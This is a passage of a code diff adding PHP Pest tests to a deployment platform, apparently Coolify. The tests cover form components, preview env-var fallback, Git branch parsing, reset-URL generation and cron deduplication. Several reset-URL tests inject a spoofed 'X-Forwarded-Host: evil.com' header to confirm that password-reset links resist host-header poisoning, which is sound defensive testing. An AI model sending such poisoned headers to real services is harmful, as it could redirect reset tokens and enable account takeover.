$html = Blade::render('<x-forms.input type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain('@success.window="type = \'password\'"')
|
||||
->toContain("x-data=\"{ type: 'password' }\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->toContain('x-bind:type="type"')
|
||||
->toContain("x-bind:class=\"{ 'truncate': type === 'text' && ! \$el.disabled }\"")
|
||||
->not->toContain('changePasswordFieldType');
|
||||
});
|
||||
|
||||
it('renders password textarea with Alpine-managed visibility state', function () {
|
||||
$html = Blade::render('<x-forms.textarea type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain('@success.window="type = \'password\'"')
|
||||
->toContain("x-data=\"{ type: 'password' }\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->not->toContain('changePasswordFieldType');
|
||||
});
|
||||
|
||||
it('renders textarea without monospace classes by default', function () {
|
||||
$html = Blade::render('<x-forms.textarea id="notes" />');
|
||||
|
||||
expect($html)
|
||||
->toContain('class="input scrollbar"')
|
||||
->not->toContain('font-mono');
|
||||
});
|
||||
|
||||
it('renders textarea with monospace classes when requested', function () {
|
||||
$html = Blade::render('<x-forms.textarea id="variables" monospace />');
|
||||
|
||||
expect($html)->toContain('class="input scrollbar font-mono"');
|
||||
});
|
||||
|
||||
it('resets password visibility on success event for env-var-input', function () {
|
||||
$html = Blade::render('<x-forms.env-var-input type="password" id="secret" />');
|
||||
|
||||
expect($html)
|
||||
->toContain("@success.window=\"type = 'password'\"")
|
||||
->toContain("x-on:click=\"type = type === 'password' ? 'text' : 'password'\"")
|
||||
->toContain('x-bind:type="type"');
|
||||
});
|
||||
@@ -0,0 +1,247 @@
|
||||
<?php
|
||||
|
||||
use App\Models\Application;
|
||||
use App\Models\Environment;
|
||||
use App\Models\EnvironmentVariable;
|
||||
use App\Models\Project;
|
||||
use App\Models\Team;
|
||||
use App\Models\User;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
$this->user = User::factory()->create();
|
||||
$this->team = Team::factory()->create();
|
||||
$this->user->teams()->attach($this->team);
|
||||
|
||||
$this->project = Project::factory()->create(['team_id' => $this->team->id]);
|
||||
$this->environment = Environment::factory()->create([
|
||||
'project_id' => $this->project->id,
|
||||
]);
|
||||
|
||||
$this->application = Application::factory()->create([
|
||||
'environment_id' => $this->environment->id,
|
||||
]);
|
||||
|
||||
$this->actingAs($this->user);
|
||||
});
|
||||
|
||||
/**
|
||||
* Simulate the preview .env generation logic from
|
||||
* ApplicationDeploymentJob::generate_runtime_environment_variables()
|
||||
* including the production fallback fix.
|
||||
*/
|
||||
function simulatePreviewEnvGeneration(Application $application): \Illuminate\Support\Collection
|
||||
{
|
||||
$sorted_environment_variables = $application->environment_variables->sortBy('id');
|
||||
$sorted_environment_variables_preview = $application->environment_variables_preview->sortBy('id');
|
||||
|
||||
$envs = collect([]);
|
||||
|
||||
// Preview vars
|
||||
$runtime_environment_variables_preview = $sorted_environment_variables_preview->filter(fn ($env) => $env->is_runtime);
|
||||
foreach ($runtime_environment_variables_preview as $env) {
|
||||
$envs->push($env->key.'='.$env->real_value);
|
||||
}
|
||||
|
||||
// Fallback: production vars not overridden by preview,
|
||||
// only when preview vars are configured
|
||||
if ($runtime_environment_variables_preview->isNotEmpty()) {
|
||||
$previewKeys = $runtime_environment_variables_preview->pluck('key')->toArray();
|
||||
$fallback_production_vars = $sorted_environment_variables->filter(function ($env) use ($previewKeys) {
|
||||
return $env->is_runtime && ! in_array($env->key, $previewKeys);
|
||||
});
|
||||
foreach ($fallback_production_vars as $env) {
|
||||
$envs->push($env->key.'='.$env->real_value);
|
||||
}
|
||||
}
|
||||
|
||||
return $envs;
|
||||
}
|
||||
|
||||
test('production vars fall back when preview vars exist but do not cover all keys', function () {
|
||||
// Create two production vars (booted hook auto-creates preview copies)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'APP_KEY',
|
||||
'value' => 'app_key_value',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete only the DB_PASSWORD preview copy — APP_KEY preview copy remains
|
||||
$this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
// Preview has APP_KEY but not DB_PASSWORD
|
||||
expect($this->application->environment_variables_preview()->where('key', 'APP_KEY')->count())->toBe(1);
|
||||
expect($this->application->environment_variables_preview()->where('key', 'DB_PASSWORD')->count())->toBe(0);
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
// DB_PASSWORD should fall back from production
|
||||
expect($envString)->toContain('DB_PASSWORD=');
|
||||
// APP_KEY should use the preview value
|
||||
expect($envString)->toContain('APP_KEY=');
|
||||
});
|
||||
|
||||
test('no fallback when no preview vars are configured at all', function () {
|
||||
// Create a production-only var (booted hook auto-creates preview copy)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete ALL preview copies — simulates no preview config
|
||||
$this->application->environment_variables_preview()->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
expect($this->application->environment_variables_preview()->count())->toBe(0);
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
// Should NOT fall back to production when no preview vars exist
|
||||
expect($envString)->not->toContain('DB_PASSWORD=');
|
||||
});
|
||||
|
||||
test('preview var overrides production var when both exist', function () {
|
||||
// Create production var (auto-creates preview copy)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'prod_password',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Update the auto-created preview copy with a different value
|
||||
$this->application->environment_variables_preview()
|
||||
->where('key', 'DB_PASSWORD')
|
||||
->update(['value' => encrypt('preview_password')]);
|
||||
|
||||
$this->application->refresh();
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
// Should contain preview value only, not production
|
||||
$envEntries = $envs->filter(fn ($e) => str_starts_with($e, 'DB_PASSWORD='));
|
||||
expect($envEntries)->toHaveCount(1);
|
||||
expect($envEntries->first())->toContain('preview_password');
|
||||
});
|
||||
|
||||
test('preview-only var works without production counterpart', function () {
|
||||
// Create a preview-only var directly (no production counterpart)
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'PREVIEW_ONLY_VAR',
|
||||
'value' => 'preview_value',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$this->application->refresh();
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
expect($envString)->toContain('PREVIEW_ONLY_VAR=');
|
||||
});
|
||||
|
||||
test('buildtime-only production vars are not included in preview fallback', function () {
|
||||
// Create a runtime preview var so fallback is active
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'SOME_PREVIEW_VAR',
|
||||
'value' => 'preview_value',
|
||||
'is_preview' => true,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Create a buildtime-only production var
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'BUILD_SECRET',
|
||||
'value' => 'build_only',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => false,
|
||||
'is_buildtime' => true,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
// Delete the auto-created preview copy of BUILD_SECRET
|
||||
$this->application->environment_variables_preview()->where('key', 'BUILD_SECRET')->delete();
|
||||
$this->application->refresh();
|
||||
|
||||
$envs = simulatePreviewEnvGeneration($this->application);
|
||||
|
||||
$envString = $envs->implode("\n");
|
||||
expect($envString)->not->toContain('BUILD_SECRET');
|
||||
expect($envString)->toContain('SOME_PREVIEW_VAR=');
|
||||
});
|
||||
|
||||
test('preview env var inherits is_runtime and is_buildtime from production var', function () {
|
||||
// Create production var WITH explicit flags
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'is_runtime' => true,
|
||||
'is_buildtime' => true,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
|
||||
->where('is_preview', true)
|
||||
->where('resourceable_id', $this->application->id)
|
||||
->first();
|
||||
|
||||
expect($preview)->not->toBeNull();
|
||||
expect($preview->is_runtime)->toBeTrue();
|
||||
expect($preview->is_buildtime)->toBeTrue();
|
||||
});
|
||||
|
||||
test('preview env var gets correct defaults when production var created without explicit flags', function () {
|
||||
// Simulate code paths (docker-compose parser, dev view bulk submit) that create
|
||||
// env vars without explicitly setting is_runtime/is_buildtime
|
||||
EnvironmentVariable::create([
|
||||
'key' => 'DB_PASSWORD',
|
||||
'value' => 'secret123',
|
||||
'is_preview' => false,
|
||||
'resourceable_type' => Application::class,
|
||||
'resourceable_id' => $this->application->id,
|
||||
]);
|
||||
|
||||
$preview = EnvironmentVariable::where('key', 'DB_PASSWORD')
|
||||
->where('is_preview', true)
|
||||
->where('resourceable_id', $this->application->id)
|
||||
->first();
|
||||
|
||||
expect($preview)->not->toBeNull();
|
||||
expect($preview->is_runtime)->toBeTrue();
|
||||
expect($preview->is_buildtime)->toBeTrue();
|
||||
});
|
||||
@@ -0,0 +1,71 @@
|
||||
<?php
|
||||
|
||||
use Spatie\Url\Url;
|
||||
|
||||
/**
|
||||
* Tests for branch name parsing from Git repository URLs.
|
||||
* Verifies that branch names containing slashes (e.g., fix/something)
|
||||
* are correctly extracted from URLs like /tree/fix/something.
|
||||
*/
|
||||
function parseBranchFromUrl(string $url): array
|
||||
{
|
||||
$parsed = Url::fromString($url);
|
||||
$branch = 'main';
|
||||
$baseDirectory = '/';
|
||||
|
||||
if ($parsed->getSegment(3) === 'tree') {
|
||||
$path = str($parsed->getPath())->trim('/');
|
||||
$branch = str($path)->after('tree/')->value();
|
||||
$baseDirectory = '/';
|
||||
}
|
||||
|
||||
return [
|
||||
'branch' => $branch,
|
||||
'base_directory' => $baseDirectory,
|
||||
'repository' => $parsed->getSegment(1).'/'.$parsed->getSegment(2),
|
||||
];
|
||||
}
|
||||
|
||||
test('parses simple branch from GitHub URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples/tree/main');
|
||||
|
||||
expect($result['branch'])->toBe('main');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
expect($result['repository'])->toBe('andrasbacsai/coolify-examples');
|
||||
});
|
||||
|
||||
test('parses branch with slash from GitHub URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples-1/tree/fix/8854-env-var-fallback-volume');
|
||||
|
||||
expect($result['branch'])->toBe('fix/8854-env-var-fallback-volume');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
expect($result['repository'])->toBe('andrasbacsai/coolify-examples-1');
|
||||
});
|
||||
|
||||
test('parses branch with multiple slashes from GitHub URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/user/repo/tree/feature/team/new-widget');
|
||||
|
||||
expect($result['branch'])->toBe('feature/team/new-widget');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
});
|
||||
|
||||
test('defaults to main branch when no tree segment in URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/andrasbacsai/coolify-examples');
|
||||
|
||||
expect($result['branch'])->toBe('main');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
});
|
||||
|
||||
test('parses version-style branch with slash from GitHub URL', function () {
|
||||
$result = parseBranchFromUrl('https://github.com/coollabsio/coolify-examples/tree/release/v2.0');
|
||||
|
||||
expect($result['branch'])->toBe('release/v2.0');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
});
|
||||
|
||||
test('parses branch from non-GitHub URL with tree segment', function () {
|
||||
$result = parseBranchFromUrl('https://gitlab.com/user/repo/tree/hotfix/critical-bug');
|
||||
|
||||
expect($result['branch'])->toBe('hotfix/critical-bug');
|
||||
expect($result['base_directory'])->toBe('/');
|
||||
});
|
||||
@@ -0,0 +1,187 @@
|
||||
<?php
|
||||
|
||||
use App\Models\InstanceSettings;
|
||||
use App\Models\User;
|
||||
use App\Notifications\TransactionalEmails\ResetPassword;
|
||||
use Illuminate\Foundation\Testing\RefreshDatabase;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
use Illuminate\Support\Once;
|
||||
|
||||
uses(RefreshDatabase::class);
|
||||
|
||||
beforeEach(function () {
|
||||
Cache::forget('instance_settings_fqdn_host');
|
||||
Once::flush();
|
||||
});
|
||||
|
||||
function callResetUrl(ResetPassword $notification, $notifiable): string
|
||||
{
|
||||
$method = new ReflectionMethod($notification, 'resetUrl');
|
||||
|
||||
return $method->invoke($notification, $notifiable);
|
||||
}
|
||||
|
||||
it('generates reset URL using configured FQDN, not request host', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$notification = new ResetPassword('test-token-abc', isTransactionalEmail: false);
|
||||
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toStartWith('https://coolify.example.com/')
|
||||
->toContain('test-token-abc')
|
||||
->toContain(urlencode($user->email))
|
||||
->not->toContain('localhost');
|
||||
});
|
||||
|
||||
it('generates reset URL using public IP when no FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => '65.21.3.91']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$notification = new ResetPassword('test-token-abc', isTransactionalEmail: false);
|
||||
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toContain('65.21.3.91')
|
||||
->toContain('test-token-abc')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('is immune to X-Forwarded-Host header poisoning when FQDN is set', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com', 'public_ipv4' => '65.21.3.91']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
// Simulate a request with a spoofed X-Forwarded-Host header
|
||||
$user = User::factory()->create();
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'evil.com',
|
||||
])->get('/');
|
||||
|
||||
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toStartWith('https://coolify.example.com/')
|
||||
->toContain('poisoned-token')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('is immune to X-Forwarded-Host header poisoning when using IP only', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => '65.21.3.91']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'evil.com',
|
||||
])->get('/');
|
||||
|
||||
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toContain('65.21.3.91')
|
||||
->toContain('poisoned-token')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('generates reset URL with bracketed IPv6 when no FQDN is configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$notification = new ResetPassword('ipv6-token', isTransactionalEmail: false);
|
||||
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toContain('[2001:db8::1]')
|
||||
->toContain('ipv6-token')
|
||||
->toContain(urlencode($user->email));
|
||||
});
|
||||
|
||||
it('is immune to X-Forwarded-Host header poisoning when using IPv6 only', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => '2001:db8::1']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'evil.com',
|
||||
])->get('/');
|
||||
|
||||
$notification = new ResetPassword('poisoned-token', isTransactionalEmail: false);
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toContain('[2001:db8::1]')
|
||||
->toContain('poisoned-token')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('uses APP_URL fallback when no FQDN or public IPs are configured', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => null, 'public_ipv4' => null, 'public_ipv6' => null]
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
config(['app.url' => 'http://my-coolify.local']);
|
||||
|
||||
$user = User::factory()->create();
|
||||
|
||||
$this->withHeaders([
|
||||
'X-Forwarded-Host' => 'evil.com',
|
||||
])->get('/');
|
||||
|
||||
$notification = new ResetPassword('fallback-token', isTransactionalEmail: false);
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
expect($url)
|
||||
->toStartWith('http://my-coolify.local/')
|
||||
->toContain('fallback-token')
|
||||
->not->toContain('evil.com');
|
||||
});
|
||||
|
||||
it('generates a valid route path in the reset URL', function () {
|
||||
InstanceSettings::updateOrCreate(
|
||||
['id' => 0],
|
||||
['fqdn' => 'https://coolify.example.com']
|
||||
);
|
||||
Once::flush();
|
||||
|
||||
$user = User::factory()->create();
|
||||
$notification = new ResetPassword('my-token', isTransactionalEmail: false);
|
||||
|
||||
$url = callResetUrl($notification, $user);
|
||||
|
||||
// Should contain the password reset route path with token and email
|
||||
expect($url)
|
||||
->toContain('/reset-password/')
|
||||
->toContain('my-token')
|
||||
->toContain(urlencode($user->email));
|
||||
});
|
||||
@@ -1,222 +1,168 @@
|
||||
<?php
|
||||
|
||||
use App\Jobs\ScheduledJobManager;
|
||||
use Illuminate\Support\Carbon;
|
||||
use Illuminate\Support\Facades\Cache;
|
||||
|
||||
beforeEach(function () {
|
||||
// Clear any dedup keys
|
||||
Cache::flush();
|
||||
});
|
||||
|
||||
it('dispatches backup when job runs on time at the cron minute', function () {
|
||||
// Freeze time at exactly 02:00 — daily cron "0 2 * * *" is due
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
|
||||
// Use reflection to test shouldRunNow
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('catches delayed job when cache has a baseline from previous run', function () {
|
||||
// Simulate a previous dispatch yesterday at 02:00
|
||||
Cache::put('test-backup:1', Carbon::create(2026, 2, 27, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
// Freeze time at 02:07 — job was delayed 7 minutes past today's 02:00 cron
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 7, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// isDue() would return false at 02:07, but getPreviousRunDate() = 02:00 today
|
||||
// lastDispatched = 02:00 yesterday → 02:00 today > yesterday → fires
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:1');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:1');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch on subsequent runs within same cron window', function () {
|
||||
// First run at 02:00 — dispatches and sets cache
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
$first = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
|
||||
$first = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
// Second run at 02:01 — should NOT dispatch (previousDue=02:00, lastDispatched=02:00)
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$second = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:2');
|
||||
$second = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:2');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
|
||||
it('fires every_minute cron correctly on consecutive minutes', function () {
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// Minute 1
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
$result1 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
|
||||
expect($result1)->toBeTrue();
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
|
||||
// Minute 2
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 1, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
$result2 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
|
||||
expect($result2)->toBeTrue();
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
|
||||
// Minute 3
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 2, 0, 'UTC'));
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
$result3 = $method->invoke($job, '* * * * *', 'UTC', 'test-backup:3');
|
||||
expect($result3)->toBeTrue();
|
||||
expect(shouldRunCronNow('* * * * *', 'UTC', 'test-backup:3'))->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not fire non-due jobs on restart when cache is empty', function () {
|
||||
// Time is 10:00, cron is daily at 02:00 — NOT due right now
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// Cache is empty (fresh restart) — should NOT fire daily backup at 10:00
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4');
|
||||
expect($result)->toBeFalse();
|
||||
});
|
||||
|
||||
it('fires due jobs on restart when cache is empty', function () {
|
||||
// Time is exactly 02:00, cron is daily at 02:00 — IS due right now
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// Cache is empty (fresh restart) — but cron IS due → should fire
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:4b');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:4b');
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not dispatch when cron is not due and was not recently due', function () {
|
||||
// Time is 10:00, cron is daily at 02:00 — last due was 8 hours ago
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
$job = new ScheduledJobManager;
|
||||
$reflection = new ReflectionClass($job);
|
||||
|
||||
$executionTimeProp = $reflection->getProperty('executionTime');
|
||||
$executionTimeProp->setAccessible(true);
|
||||
$executionTimeProp->setValue($job, Carbon::now());
|
||||
|
||||
$method = $reflection->getMethod('shouldRunNow');
|
||||
$method->setAccessible(true);
|
||||
|
||||
// previousDue = 02:00, but lastDispatched was set at 02:00 (simulate)
|
||||
Cache::put('test-backup:5', Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
$result = $method->invoke($job, '0 2 * * *', 'UTC', 'test-backup:5');
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-backup:5');
|
||||
expect($result)->toBeFalse();
|
||||
});
|
||||
|
||||
it('falls back to isDue when no dedup key is provided', function () {
|
||||
// Time is exactly 02:00, cron is "0 2 * * *" — should be due
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 0, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeTrue();
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 2, 1, 0, 'UTC'));
|
||||
expect(shouldRunCronNow('0 2 * * *', 'UTC'))->toBeFalse();
|
||||
});
|
||||
|
||||
it('catches delayed docker cleanup when job runs past the cron minute', function () {
|
||||
Cache::put('docker-cleanup:42', Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC')->toIso8601String(), 86400);
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 22, 0, 'UTC'));
|
||||
|
||||
// isDue() would return false at :22, but getPreviousRunDate() = :20
|
||||
// lastDispatched = :10 → :20 > :10 → fires
|
||||
$result = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:42');
|
||||
|
||||
expect($result)->toBeTrue();
|
||||
});
|
||||
|
||||
it('does not double-dispatch docker cleanup within same cron window', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 10, 0, 'UTC'));
|
||||
|
||||
$first = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
|
||||
expect($first)->toBeTrue();
|
||||
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 11, 0, 'UTC'));
|
||||
|
||||
$second = shouldRunCronNow('*/10 * * * *', 'UTC', 'docker-cleanup:99');
|
||||
expect($second)->toBeFalse();
|
||||
});
|
||||
|
||||
it('seeds cache with previousDue when not due on first run', function () {
|
||||
Carbon::setTestNow(Carbon::create(2026, 2, 28, 10, 0, 0, 'UTC'));
|
||||
|
||||
$result = shouldRunCronNow('0 2 * * *', 'UTC', 'test-seed:1');
|
||||
expect($result)->toBeFalse();
|
||||
|
||||
// Verify cache was seeded with previousDue (02:00 today)
|
||||
$cached = Cache::get('test-seed:1');
|
||||
expect($cached)->not->toBeNull();
|
||||
